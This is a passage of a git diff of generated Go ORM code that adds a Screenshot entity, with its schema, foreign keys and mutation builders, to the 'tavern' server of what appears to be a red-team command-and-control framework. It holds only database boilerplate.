*HostUpdateOne return huo.RemoveCredentialIDs(ids...) } +// ClearScreenshots clears all "screenshots" edges to the Screenshot entity. +func (huo *HostUpdateOne) ClearScreenshots() *HostUpdateOne { + huo.mutation.ClearScreenshots() + return huo +} + +// RemoveScreenshotIDs removes the "screenshots" edge to Screenshot entities by IDs. +func (huo *HostUpdateOne) RemoveScreenshotIDs(ids ...int) *HostUpdateOne { + huo.mutation.RemoveScreenshotIDs(ids...) + return huo +} + +// RemoveScreenshots removes "screenshots" edges to Screenshot entities. +func (huo *HostUpdateOne) RemoveScreenshots(s ...*Screenshot) *HostUpdateOne { + ids := make([]int, len(s)) + for i := range s { + ids[i] = s[i].ID + } + return huo.RemoveScreenshotIDs(ids...) +} + // Where appends a list predicates to the HostUpdate builder. func (huo *HostUpdateOne) Where(ps ...predicate.Host) *HostUpdateOne { huo.mutation.Where(ps...) @@ -1386,6 +1504,51 @@ func (huo *HostUpdateOne) sqlSave(ctx context.Context) (_node *Host, err error) } _spec.Edges.Add = append(_spec.Edges.Add, edge) } + if huo.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: host.ScreenshotsTable, + Columns: []string{host.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := huo.mutation.RemovedScreenshotsIDs(); len(nodes) > 0 && !huo.mutation.ScreenshotsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: host.ScreenshotsTable, + Columns: []string{host.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := huo.mutation.ScreenshotsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: host.ScreenshotsTable, + Columns: []string{host.ScreenshotsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: sqlgraph.NewFieldSpec(screenshot.FieldID, field.TypeInt), + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } _node = &Host{config: huo.config} _spec.Assign = _node.assignValues _spec.ScanValues = _node.scanValues diff --git a/tavern/internal/ent/migrate/schema.go b/tavern/internal/ent/migrate/schema.go index 434debe35..c3b452a08 100644 --- a/tavern/internal/ent/migrate/schema.go +++ b/tavern/internal/ent/migrate/schema.go @@ -433,6 +433,45 @@ var ( }, }, } + // ScreenshotsColumns holds the columns for the "screenshots" table. + ScreenshotsColumns = []*schema.Column{ + {Name: "id", Type: field.TypeInt, Increment: true}, + {Name: "created_at", Type: field.TypeTime}, + {Name: "last_modified_at", Type: field.TypeTime}, + {Name: "name", Type: field.TypeString}, + {Name: "size", Type: field.TypeUint64, Default: 0}, + {Name: "hash", Type: field.TypeString, Nullable: true, Size: 100}, + {Name: "content", Type: field.TypeBytes, Nullable: true, SchemaType: map[string]string{"mysql": "LONGBLOB"}}, + {Name: "screenshot_host", Type: field.TypeInt}, + {Name: "shell_task_screenshots", Type: field.TypeInt, Nullable: true}, + {Name: "task_screenshots", Type: field.TypeInt, Nullable: true}, + } + // ScreenshotsTable holds the schema information for the "screenshots" table. + ScreenshotsTable = &schema.Table{ + Name: "screenshots", + Columns: ScreenshotsColumns, + PrimaryKey: []*schema.Column{ScreenshotsColumns[0]}, + ForeignKeys: []*schema.ForeignKey{ + { + Symbol: "screenshots_hosts_host", + Columns: []*schema.Column{ScreenshotsColumns[7]}, + RefColumns: []*schema.Column{HostsColumns[0]}, + OnDelete: schema.Cascade, + }, + { + Symbol: "screenshots_shell_tasks_screenshots", + Columns: []*schema.Column{ScreenshotsColumns[8]}, + RefColumns: []*schema.Column{ShellTasksColumns[0]}, + OnDelete: schema.Cascade, + }, + { + Symbol: "screenshots_tasks_screenshots", + Columns: []*schema.Column{ScreenshotsColumns[9]}, + RefColumns: []*schema.Column{TasksColumns[0]}, + OnDelete: schema.SetNull, + }, + }, + } // ShellsColumns holds the columns for the "shells" table. ShellsColumns = []*schema.Column{ {Name: "id", Type: field.TypeInt, Increment: true}, @@ -706,6 +745,7 @@ var ( PortalsTable, QuestsTable, RepositoriesTable, + ScreenshotsTable, ShellsTable, ShellTasksTable, TagsTable, @@ -783,6 +823,12 @@ func init() { Table: "repositories", Collation: "utf8mb4_general_ci", } + ScreenshotsTable.ForeignKeys[0].RefTable = HostsTable + ScreenshotsTable.ForeignKeys[1].RefTable = ShellTasksTable + ScreenshotsTable.ForeignKeys[2].RefTable = TasksTable + ScreenshotsTable.Annotation = &entsql.Annotation{ + Collation: "utf8mb4_general_ci", + } ShellsTable.ForeignKeys[0].RefTable = TasksTable ShellsTable.ForeignKeys[1].RefTable = BeaconsTable ShellsTable.ForeignKeys[2].RefTable = UsersTable diff --git a/tavern/internal/ent/mutation.go b/tavern/internal/ent/mutation.go index 74c3896b3..bf3b5bdeb 100644 --- a/tavern/internal/ent/mutation.go +++ b/tavern/internal/ent/mutation.go @@ -27,6 +27,7 @@ import ( "realm.pub/tavern/internal/ent/predicate" "realm.pub/tavern/internal/ent/quest" "realm.pub/tavern/internal/ent/repository" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/tag" @@ -56,6 +57,7 @@ const ( TypePortal = "Portal" TypeQuest = "Quest" TypeRepository = "Repository" + TypeScreenshot = "Screenshot" TypeShell = "Shell" TypeShellTask = "ShellTask" TypeTag = "Tag" @@ -4388,6 +4390,9 @@ type HostMutation struct { credentials map[int]struct{} removedcredentials map[int]struct{} clearedcredentials bool + screenshots map[int]struct{} + removedscreenshots map[int]struct{} + clearedscreenshots bool done bool oldValue func(context.Context) (*Host, error) predicates []predicate.Host @@ -5150,6 +5155,60 @@ func (m *HostMutation) ResetCredentials() { m.removedcredentials = nil } +// AddScreenshotIDs adds the "screenshots" edge to the Screenshot entity by ids. +func (m *HostMutation) AddScreenshotIDs(ids ...int) { + if m.screenshots == nil { + m.screenshots = make(map[int]struct{}) + } + for i := range ids { + m.screenshots[ids[i]] = struct{}{} + } +} + +// ClearScreenshots clears the "screenshots" edge to the Screenshot entity. +func (m *HostMutation) ClearScreenshots() { + m.clearedscreenshots = true +} + +// ScreenshotsCleared reports if the "screenshots" edge to the Screenshot entity was cleared. +func (m *HostMutation) ScreenshotsCleared() bool { + return m.clearedscreenshots +} + +// RemoveScreenshotIDs removes the "screenshots" edge to the Screenshot entity by IDs. +func (m *HostMutation) RemoveScreenshotIDs(ids ...int) { + if m.removedscreenshots == nil { + m.removedscreenshots = make(map[int]struct{}) + } + for i := range ids { + delete(m.screenshots, ids[i]) + m.removedscreenshots[ids[i]] = struct{}{} + } +} + +// RemovedScreenshots returns the removed IDs of the "screenshots" edge to the Screenshot entity. +func (m *HostMutation) RemovedScreenshotsIDs() (ids []int) { + for id := range m.removedscreenshots { + ids = append(ids, id) + } + return +} + +// ScreenshotsIDs returns the "screenshots" edge IDs in the mutation. +func (m *HostMutation) ScreenshotsIDs() (ids []int) { + for id := range m.screenshots { + ids = append(ids, id) + } + return +} + +// ResetScreenshots resets all changes to the "screenshots" edge. +func (m *HostMutation) ResetScreenshots() { + m.screenshots = nil + m.clearedscreenshots = false + m.removedscreenshots = nil +} + // Where appends a list predicates to the HostMutation builder. func (m *HostMutation) Where(ps ...predicate.Host) { m.predicates = append(m.predicates, ps...) @@ -5452,7 +5511,7 @@ func (m *HostMutation) ResetField(name string) error { // AddedEdges returns all edge names that were set/added in this mutation. func (m *HostMutation) AddedEdges() []string { - edges := make([]string, 0, 5) + edges := make([]string, 0, 6) if m.tags != nil { edges = append(edges, host.EdgeTags) } @@ -5468,6 +5527,9 @@ func (m *HostMutation) AddedEdges() []string { if m.credentials != nil { edges = append(edges, host.EdgeCredentials) } + if m.screenshots != nil { + edges = append(edges, host.EdgeScreenshots) + } return edges } @@ -5505,13 +5567,19 @@ func (m *HostMutation) AddedIDs(name string) []ent.Value { ids = append(ids, id) } return ids + case host.EdgeScreenshots: + ids := make([]ent.Value, 0, len(m.screenshots)) + for id := range m.screenshots { + ids = append(ids, id) + } + return ids } return nil } // RemovedEdges returns all edge names that were removed in this mutation. func (m *HostMutation) RemovedEdges() []string { - edges := make([]string, 0, 5) + edges := make([]string, 0, 6) if m.removedtags != nil { edges = append(edges, host.EdgeTags) } @@ -5527,6 +5595,9 @@ func (m *HostMutation) RemovedEdges() []string { if m.removedcredentials != nil { edges = append(edges, host.EdgeCredentials) } + if m.removedscreenshots != nil { + edges = append(edges, host.EdgeScreenshots) + } return edges } @@ -5564,13 +5635,19 @@ func (m *HostMutation) RemovedIDs(name string) []ent.Value { ids = append(ids, id) } return ids + case host.EdgeScreenshots: + ids := make([]ent.Value, 0, len(m.removedscreenshots)) + for id := range m.removedscreenshots { + ids = append(ids, id) + } + return ids } return nil } // ClearedEdges returns all edge names that were cleared in this mutation. func (m *HostMutation) ClearedEdges() []string { - edges := make([]string, 0, 5) + edges := make([]string, 0, 6) if m.clearedtags { edges = append(edges, host.EdgeTags) } @@ -5586,6 +5663,9 @@ func (m *HostMutation) ClearedEdges() []string { if m.clearedcredentials { edges = append(edges, host.EdgeCredentials) } + if m.clearedscreenshots { + edges = append(edges, host.EdgeScreenshots) + } return edges } @@ -5603,6 +5683,8 @@ func (m *HostMutation) EdgeCleared(name string) bool { return m.clearedprocesses case host.EdgeCredentials: return m.clearedcredentials + case host.EdgeScreenshots: + return m.clearedscreenshots } return false } @@ -5634,6 +5716,9 @@ func (m *HostMutation) ResetEdge(name string) error { case host.EdgeCredentials: m.ResetCredentials() return nil + case host.EdgeScreenshots: + m.ResetScreenshots() + return nil } return fmt.Errorf("unknown Host edge %s", name) } @@ -11936,48 +12021,42 @@ func (m *RepositoryMutation) ResetEdge(name string) error { return fmt.Errorf("unknown Repository edge %s", name) } -// ShellMutation represents an operation that mutates the Shell nodes in the graph. -type ShellMutation struct { +// ScreenshotMutation represents an operation that mutates the Screenshot nodes in the graph. +type ScreenshotMutation struct { config - op Op - typ string - id *int - created_at *time.Time - last_modified_at *time.Time - closed_at *time.Time - data *[]byte - clearedFields map[string]struct{} - task *int - clearedtask bool - beacon *int - clearedbeacon bool - owner *int - clearedowner bool - portals map[int]struct{} - removedportals map[int]struct{} - clearedportals bool - active_users map[int]struct{} - removedactive_users map[int]struct{} - clearedactive_users bool - shell_tasks map[int]struct{} - removedshell_tasks map[int]struct{} - clearedshell_tasks bool - done bool - oldValue func(context.Context) (*Shell, error) - predicates []predicate.Shell + op Op + typ string + id *int + created_at *time.Time + last_modified_at *time.Time + name *string + size *uint64 + addsize *int64 + hash *string + content *[]byte + clearedFields map[string]struct{} + host *int + clearedhost bool + task *int + clearedtask bool + shell_task *int + clearedshell_task bool + done bool + oldValue func(context.Context) (*Screenshot, error) + predicates []predicate.Screenshot } -var _ ent.Mutation = (*ShellMutation)(nil) +var _ ent.Mutation = (*ScreenshotMutation)(nil) -// shellOption allows management of the mutation configuration using functional options. -type shellOption func(*ShellMutation) +// screenshotOption allows management of the mutation configuration using functional options. +type screenshotOption func(*ScreenshotMutation) -// newShellMutation creates new mutation for the Shell entity. -func newShellMutation(c config, op Op, opts ...shellOption) *ShellMutation { - m := &ShellMutation{ +// newScreenshotMutation creates new mutation for the Screenshot entity. +func newScreenshotMutation(c config, op Op, opts ...screenshotOption) *ScreenshotMutation { + m := &ScreenshotMutation{ config: c, op: op, - typ: TypeShell, + typ: TypeScreenshot, clearedFields: make(map[string]struct{}), } for _, opt := range opts { @@ -11986,20 +12065,20 @@ func newShellMutation(c config, op Op, opts ...shellOption) *ShellMutation { return m } -// withShellID sets the ID field of the mutation. -func withShellID(id int) shellOption { - return func(m *ShellMutation) { +// withScreenshotID sets the ID field of the mutation. +func withScreenshotID(id int) screenshotOption { + return func(m *ScreenshotMutation) { var ( err error once sync.Once - value *Shell + value *Screenshot ) - m.oldValue = func(ctx context.Context) (*Shell, error) { + m.oldValue = func(ctx context.Context) (*Screenshot, error) { once.Do(func() { if m.done { err = errors.New("querying old values post mutation is not allowed") } else { - value, err = m.Client().Shell.Get(ctx, id) + value, err = m.Client().Screenshot.Get(ctx, id) } }) return value, err @@ -12008,10 +12087,10 @@ func withShellID(id int) shellOption { } } -// withShell sets the old Shell of the mutation. -func withShell(node *Shell) shellOption { - return func(m *ShellMutation) { - m.oldValue = func(context.Context) (*Shell, error) { +// withScreenshot sets the old Screenshot of the mutation. +func withScreenshot(node *Screenshot) screenshotOption { + return func(m *ScreenshotMutation) { + m.oldValue = func(context.Context) (*Screenshot, error) { return node, nil } m.id = &node.ID @@ -12020,7 +12099,7 @@ func withShell(node *Shell) shellOption { // Client returns a new `ent.Client` from the mutation. If the mutation was // executed in a transaction (ent.Tx), a transactional client is returned. -func (m ShellMutation) Client() *Client { +func (m ScreenshotMutation) Client() *Client { client := &Client{config: m.config} client.init() return client @@ -12028,7 +12107,7 @@ func (m ShellMutation) Client() *Client { // Tx returns an `ent.Tx` for mutations that were executed in transactions; // it returns an error otherwise. -func (m ShellMutation) Tx() (*Tx, error) { +func (m ScreenshotMutation) Tx() (*Tx, error) { if _, ok := m.driver.(*txDriver); !ok { return nil, errors.New("ent: mutation is not running in a transaction") } @@ -12039,7 +12118,7 @@ func (m ShellMutation) Tx() (*Tx, error) { // ID returns the ID value in the mutation. Note that the ID is only available // if it was provided to the builder or after it was returned from the database. -func (m *ShellMutation) ID() (id int, exists bool) { +func (m *ScreenshotMutation) ID() (id int, exists bool) { if m.id == nil { return } @@ -12050,7 +12129,7 @@ func (m *ShellMutation) ID() (id int, exists bool) { // That means, if the mutation is applied within a transaction with an isolation level such // as sql.LevelSerializable, the returned ids match the ids of the rows that will be updated // or updated by the mutation. -func (m *ShellMutation) IDs(ctx context.Context) ([]int, error) { +func (m *ScreenshotMutation) IDs(ctx context.Context) ([]int, error) { switch { case m.op.Is(OpUpdateOne | OpDeleteOne): id, exists := m.ID() @@ -12059,19 +12138,19 @@ func (m *ShellMutation) IDs(ctx context.Context) ([]int, error) { } fallthrough case m.op.Is(OpUpdate | OpDelete): - return m.Client().Shell.Query().Where(m.predicates...).IDs(ctx) + return m.Client().Screenshot.Query().Where(m.predicates...).IDs(ctx) default: return nil, fmt.Errorf("IDs is not allowed on %s operations", m.op) } } // SetCreatedAt sets the "created_at" field. -func (m *ShellMutation) SetCreatedAt(t time.Time) { +func (m *ScreenshotMutation) SetCreatedAt(t time.Time) { m.created_at = &t } // CreatedAt returns the value of the "created_at" field in the mutation. -func (m *ShellMutation) CreatedAt() (r time.Time, exists bool) { +func (m *ScreenshotMutation) CreatedAt() (r time.Time, exists bool) { v := m.created_at if v == nil { return @@ -12079,10 +12158,10 @@ func (m *ShellMutation) CreatedAt() (r time.Time, exists bool) { return *v, true } -// OldCreatedAt returns the old "created_at" field's value of the Shell entity. -// If the Shell object wasn't provided to the builder, the object is fetched from the database. +// OldCreatedAt returns the old "created_at" field's value of the Screenshot entity. +// If the Screenshot object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. -func (m *ShellMutation) OldCreatedAt(ctx context.Context) (v time.Time, err error) { +func (m *ScreenshotMutation) OldCreatedAt(ctx context.Context) (v time.Time, err error) { if !m.op.Is(OpUpdateOne) { return v, errors.New("OldCreatedAt is only allowed on UpdateOne operations") } @@ -12097,17 +12176,17 @@ func (m *ShellMutation) OldCreatedAt(ctx context.Context) (v time.Time, err erro } // ResetCreatedAt resets all changes to the "created_at" field. -func (m *ShellMutation) ResetCreatedAt() { +func (m *ScreenshotMutation) ResetCreatedAt() { m.created_at = nil } // SetLastModifiedAt sets the "last_modified_at" field. -func (m *ShellMutation) SetLastModifiedAt(t time.Time) { +func (m *ScreenshotMutation) SetLastModifiedAt(t time.Time) { m.last_modified_at = &t } // LastModifiedAt returns the value of the "last_modified_at" field in the mutation. -func (m *ShellMutation) LastModifiedAt() (r time.Time, exists bool) { +func (m *ScreenshotMutation) LastModifiedAt() (r time.Time, exists bool) { v := m.last_modified_at if v == nil { return @@ -12115,10 +12194,10 @@ func (m *ShellMutation) LastModifiedAt() (r time.Time, exists bool) { return *v, true } -// OldLastModifiedAt returns the old "last_modified_at" field's value of the Shell entity. -// If the Shell object wasn't provided to the builder, the object is fetched from the database. +// OldLastModifiedAt returns the old "last_modified_at" field's value of the Screenshot entity. +// If the Screenshot object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. -func (m *ShellMutation) OldLastModifiedAt(ctx context.Context) (v time.Time, err error) { +func (m *ScreenshotMutation) OldLastModifiedAt(ctx context.Context) (v time.Time, err error) { if !m.op.Is(OpUpdateOne) { return v, errors.New("OldLastModifiedAt is only allowed on UpdateOne operations") } @@ -12133,142 +12212,1006 @@ func (m *ShellMutation) OldLastModifiedAt(ctx context.Context) (v time.Time, err } // ResetLastModifiedAt resets all changes to the "last_modified_at" field. -func (m *ShellMutation) ResetLastModifiedAt() { +func (m *ScreenshotMutation) ResetLastModifiedAt() { m.last_modified_at = nil } -// SetClosedAt sets the "closed_at" field. -func (m *ShellMutation) SetClosedAt(t time.Time) { - m.closed_at = &t +// SetName sets the "name" field. +func (m *ScreenshotMutation) SetName(s string) { + m.name = &s } -// ClosedAt returns the value of the "closed_at" field in the mutation. -func (m *ShellMutation) ClosedAt() (r time.Time, exists bool) { - v := m.closed_at +// Name returns the value of the "name" field in the mutation. +func (m *ScreenshotMutation) Name() (r string, exists bool) { + v := m.name if v == nil { return } return *v, true } -// OldClosedAt returns the old "closed_at" field's value of the Shell entity. -// If the Shell object wasn't provided to the builder, the object is fetched from the database. +// OldName returns the old "name" field's value of the Screenshot entity. +// If the Screenshot object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. -func (m *ShellMutation) OldClosedAt(ctx context.Context) (v time.Time, err error) { +func (m *ScreenshotMutation) OldName(ctx context.Context) (v string, err error) { if !m.op.Is(OpUpdateOne) { - return v, errors.New("OldClosedAt is only allowed on UpdateOne operations") + return v, errors.New("OldName is only allowed on UpdateOne operations") } if m.id == nil || m.oldValue == nil { - return v, errors.New("OldClosedAt requires an ID field in the mutation") + return v, errors.New("OldName requires an ID field in the mutation") } oldValue, err := m.oldValue(ctx) if err != nil { - return v, fmt.Errorf("querying old value for OldClosedAt: %w", err) + return v, fmt.Errorf("querying old value for OldName: %w", err) } - return oldValue.ClosedAt, nil -} - -// ClearClosedAt clears the value of the "closed_at" field. -func (m *ShellMutation) ClearClosedAt() { - m.closed_at = nil - m.clearedFields[shell.FieldClosedAt] = struct{}{} -} - -// ClosedAtCleared returns if the "closed_at" field was cleared in this mutation. -func (m *ShellMutation) ClosedAtCleared() bool { - _, ok := m.clearedFields[shell.FieldClosedAt] - return ok + return oldValue.Name, nil } -// ResetClosedAt resets all changes to the "closed_at" field. -func (m *ShellMutation) ResetClosedAt() { - m.closed_at = nil - delete(m.clearedFields, shell.FieldClosedAt) +// ResetName resets all changes to the "name" field. +func (m *ScreenshotMutation) ResetName() { + m.name = nil } -// SetData sets the "data" field. -func (m *ShellMutation) SetData(b []byte) { - m.data = &b +// SetSize sets the "size" field. +func (m *ScreenshotMutation) SetSize(u uint64) { + m.size = &u + m.addsize = nil } -// Data returns the value of the "data" field in the mutation. -func (m *ShellMutation) Data() (r []byte, exists bool) { - v := m.data +// Size returns the value of the "size" field in the mutation. +func (m *ScreenshotMutation) Size() (r uint64, exists bool) { + v := m.size if v == nil { return } return *v, true } -// OldData returns the old "data" field's value of the Shell entity. -// If the Shell object wasn't provided to the builder, the object is fetched from the database. +// OldSize returns the old "size" field's value of the Screenshot entity. +// If the Screenshot object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. -func (m *ShellMutation) OldData(ctx context.Context) (v []byte, err error) { +func (m *ScreenshotMutation) OldSize(ctx context.Context) (v uint64, err error) { if !m.op.Is(OpUpdateOne) { - return v, errors.New("OldData is only allowed on UpdateOne operations") + return v, errors.New("OldSize is only allowed on UpdateOne operations") } if m.id == nil || m.oldValue == nil { - return v, errors.New("OldData requires an ID field in the mutation") + return v, errors.New("OldSize requires an ID field in the mutation") } oldValue, err := m.oldValue(ctx) if err != nil { - return v, fmt.Errorf("querying old value for OldData: %w", err) + return v, fmt.Errorf("querying old value for OldSize: %w", err) } - return oldValue.Data, nil + return oldValue.Size, nil } -// ResetData resets all changes to the "data" field. -func (m *ShellMutation) ResetData() { - m.data = nil +// AddSize adds u to the "size" field. +func (m *ScreenshotMutation) AddSize(u int64) { + if m.addsize != nil { + *m.addsize += u + } else { + m.addsize = &u + } } -// SetTaskID sets the "task" edge to the Task entity by id. -func (m *ShellMutation) SetTaskID(id int) { - m.task = &id +// AddedSize returns the value that was added to the "size" field in this mutation. +func (m *ScreenshotMutation) AddedSize() (r int64, exists bool) { + v := m.addsize + if v == nil { + return + } + return *v, true } -// ClearTask clears the "task" edge to the Task entity. -func (m *ShellMutation) ClearTask() { - m.clearedtask = true +// ResetSize resets all changes to the "size" field. +func (m *ScreenshotMutation) ResetSize() { + m.size = nil + m.addsize = nil } -// TaskCleared reports if the "task" edge to the Task entity was cleared. -func (m *ShellMutation) TaskCleared() bool { - return m.clearedtask +// SetHash sets the "hash" field. +func (m *ScreenshotMutation) SetHash(s string) { + m.hash = &s } -// TaskID returns the "task" edge ID in the mutation. -func (m *ShellMutation) TaskID() (id int, exists bool) { - if m.task != nil { - return *m.task, true +// Hash returns the value of the "hash" field in the mutation. +func (m *ScreenshotMutation) Hash() (r string, exists bool) { + v := m.hash + if v == nil { + return } - return + return *v, true } -// TaskIDs returns the "task" edge IDs in the mutation. -// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use -// TaskID instead. It exists only for internal usage by the builders. -func (m *ShellMutation) TaskIDs() (ids []int) { - if id := m.task; id != nil { - ids = append(ids, *id) +// OldHash returns the old "hash" field's value of the Screenshot entity. +// If the Screenshot object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ScreenshotMutation) OldHash(ctx context.Context) (v string, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldHash is only allowed on UpdateOne operations") } - return + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldHash requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldHash: %w", err) + } + return oldValue.Hash, nil } -// ResetTask resets all changes to the "task" edge. -func (m *ShellMutation) ResetTask() { - m.task = nil - m.clearedtask = false +// ClearHash clears the value of the "hash" field. +func (m *ScreenshotMutation) ClearHash() { + m.hash = nil + m.clearedFields[screenshot.FieldHash] = struct{}{} } -// SetBeaconID sets the "beacon" edge to the Beacon entity by id. -func (m *ShellMutation) SetBeaconID(id int) { - m.beacon = &id +// HashCleared returns if the "hash" field was cleared in this mutation. +func (m *ScreenshotMutation) HashCleared() bool { + _, ok := m.clearedFields[screenshot.FieldHash] + return ok } -// ClearBeacon clears the "beacon" edge to the Beacon entity. -func (m *ShellMutation) ClearBeacon() { - m.clearedbeacon = true +// ResetHash resets all changes to the "hash" field. +func (m *ScreenshotMutation) ResetHash() { + m.hash = nil + delete(m.clearedFields, screenshot.FieldHash) +} + +// SetContent sets the "content" field. +func (m *ScreenshotMutation) SetContent(b []byte) { + m.content = &b +} + +// Content returns the value of the "content" field in the mutation. +func (m *ScreenshotMutation) Content() (r []byte, exists bool) { + v := m.content + if v == nil { + return + } + return *v, true +} + +// OldContent returns the old "content" field's value of the Screenshot entity. +// If the Screenshot object wasn't provided to the builder, the object is fetched from the database. +// An error is returned if the mutation operation is not UpdateOne, or the database query fails. +func (m *ScreenshotMutation) OldContent(ctx context.Context) (v []byte, err error) { + if !m.op.Is(OpUpdateOne) { + return v, errors.New("OldContent is only allowed on UpdateOne operations") + } + if m.id == nil || m.oldValue == nil { + return v, errors.New("OldContent requires an ID field in the mutation") + } + oldValue, err := m.oldValue(ctx) + if err != nil { + return v, fmt.Errorf("querying old value for OldContent: %w", err) + } + return oldValue.Content, nil +} + +// ClearContent clears the value of the "content" field. +func (m *ScreenshotMutation) ClearContent() { + m.content = nil + m.clearedFields[screenshot.FieldContent] = struct{}{} +} + +// ContentCleared returns if the "content" field was cleared in this mutation. +func (m *ScreenshotMutation) ContentCleared() bool { + _, ok := m.clearedFields[screenshot.FieldContent] + return ok +} + +// ResetContent resets all changes to the "content" field. +func (m *ScreenshotMutation) ResetContent() { + m.content = nil + delete(m.clearedFields, screenshot.FieldContent) +} + +// SetHostID sets the "host" edge to the Host entity by id. +func (m *ScreenshotMutation) SetHostID(id int) { + m.host = &id +} + +// ClearHost clears the "host" edge to the Host entity. +func (m *ScreenshotMutation) ClearHost() { + m.clearedhost = true +} + +// HostCleared reports if the "host" edge to the Host entity was cleared. +func (m *ScreenshotMutation) HostCleared() bool { + return m.clearedhost +} + +// HostID returns the "host" edge ID in the mutation. +func (m *ScreenshotMutation) HostID() (id int, exists bool) { + if m.host != nil { + return *m.host, true + } + return +} + +// HostIDs returns the "host" edge IDs in the mutation. +// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use +// HostID instead. It exists only for internal usage by the builders. +func (m *ScreenshotMutation) HostIDs() (ids []int) { + if id := m.host; id != nil { + ids = append(ids, *id) + } + return +} + +// ResetHost resets all changes to the "host" edge. +func (m *ScreenshotMutation) ResetHost() { + m.host = nil + m.clearedhost = false +} + +// SetTaskID sets the "task" edge to the Task entity by id. +func (m *ScreenshotMutation) SetTaskID(id int) { + m.task = &id +} + +// ClearTask clears the "task" edge to the Task entity. +func (m *ScreenshotMutation) ClearTask() { + m.clearedtask = true +} + +// TaskCleared reports if the "task" edge to the Task entity was cleared. +func (m *ScreenshotMutation) TaskCleared() bool { + return m.clearedtask +} + +// TaskID returns the "task" edge ID in the mutation. +func (m *ScreenshotMutation) TaskID() (id int, exists bool) { + if m.task != nil { + return *m.task, true + } + return +} + +// TaskIDs returns the "task" edge IDs in the mutation. +// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use +// TaskID instead. It exists only for internal usage by the builders. +func (m *ScreenshotMutation) TaskIDs() (ids []int) { + if id := m.task; id != nil { + ids = append(ids, *id) + } + return +} + +// ResetTask resets all changes to the "task" edge. +func (m *ScreenshotMutation) ResetTask() { + m.task = nil + m.clearedtask = false +} + +// SetShellTaskID sets the "shell_task" edge to the ShellTask entity by id. +func (m *ScreenshotMutation) SetShellTaskID(id int) { + m.shell_task = &id +} + +// ClearShellTask clears the "shell_task" edge to the ShellTask entity. +func (m *ScreenshotMutation) ClearShellTask() { + m.clearedshell_task = true +} + +// ShellTaskCleared reports if the "shell_task" edge to the ShellTask entity was cleared. +func (m *ScreenshotMutation) ShellTaskCleared() bool { + return m.clearedshell_task +} + +// ShellTaskID returns the "shell_task" edge ID in the mutation. +func (m *ScreenshotMutation) ShellTaskID() (id int, exists bool) { + if m.shell_task != nil { + return *m.shell_task, true + } + return +} + +// ShellTaskIDs returns the "shell_task" edge IDs in the mutation. +// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use +// ShellTaskID instead. It exists only for internal usage by the builders. +func (m *ScreenshotMutation) ShellTaskIDs() (ids []int) { + if id := m.shell_task; id != nil { + ids = append(ids, *id) + } + return +} + +// ResetShellTask resets all changes to the "shell_task" edge. +func (m *ScreenshotMutation) ResetShellTask() { + m.shell_task = nil + m.clearedshell_task = false +} + +// Where appends a list predicates to the ScreenshotMutation builder. +func (m *ScreenshotMutation) Where(ps ...predicate.Screenshot) { + m.predicates = append(m.predicates, ps...) +} + +// WhereP appends storage-level predicates to the ScreenshotMutation builder. Using this method, +// users can use type-assertion to append predicates that do not depend on any generated package. +func (m *ScreenshotMutation) WhereP(ps ...func(*sql.Selector)) { + p := make([]predicate.Screenshot, len(ps)) + for i := range ps { + p[i] = ps[i] + } + m.Where(p...) +} + +// Op returns the operation name. +func (m *ScreenshotMutation) Op() Op { + return m.op +} + +// SetOp allows setting the mutation operation. +func (m *ScreenshotMutation) SetOp(op Op) { + m.op = op +} + +// Type returns the node type of this mutation (Screenshot). +func (m *ScreenshotMutation) Type() string { + return m.typ +} + +// Fields returns all fields that were changed during this mutation. Note that in +// order to get all numeric fields that were incremented/decremented, call +// AddedFields(). +func (m *ScreenshotMutation) Fields() []string { + fields := make([]string, 0, 6) + if m.created_at != nil { + fields = append(fields, screenshot.FieldCreatedAt) + } + if m.last_modified_at != nil { + fields = append(fields, screenshot.FieldLastModifiedAt) + } + if m.name != nil { + fields = append(fields, screenshot.FieldName) + } + if m.size != nil { + fields = append(fields, screenshot.FieldSize) + } + if m.hash != nil { + fields = append(fields, screenshot.FieldHash) + } + if m.content != nil { + fields = append(fields, screenshot.FieldContent) + } + return fields +} + +// Field returns the value of a field with the given name. The second boolean +// return value indicates that this field was not set, or was not defined in the +// schema. +func (m *ScreenshotMutation) Field(name string) (ent.Value, bool) { + switch name { + case screenshot.FieldCreatedAt: + return m.CreatedAt() + case screenshot.FieldLastModifiedAt: + return m.LastModifiedAt() + case screenshot.FieldName: + return m.Name() + case screenshot.FieldSize: + return m.Size() + case 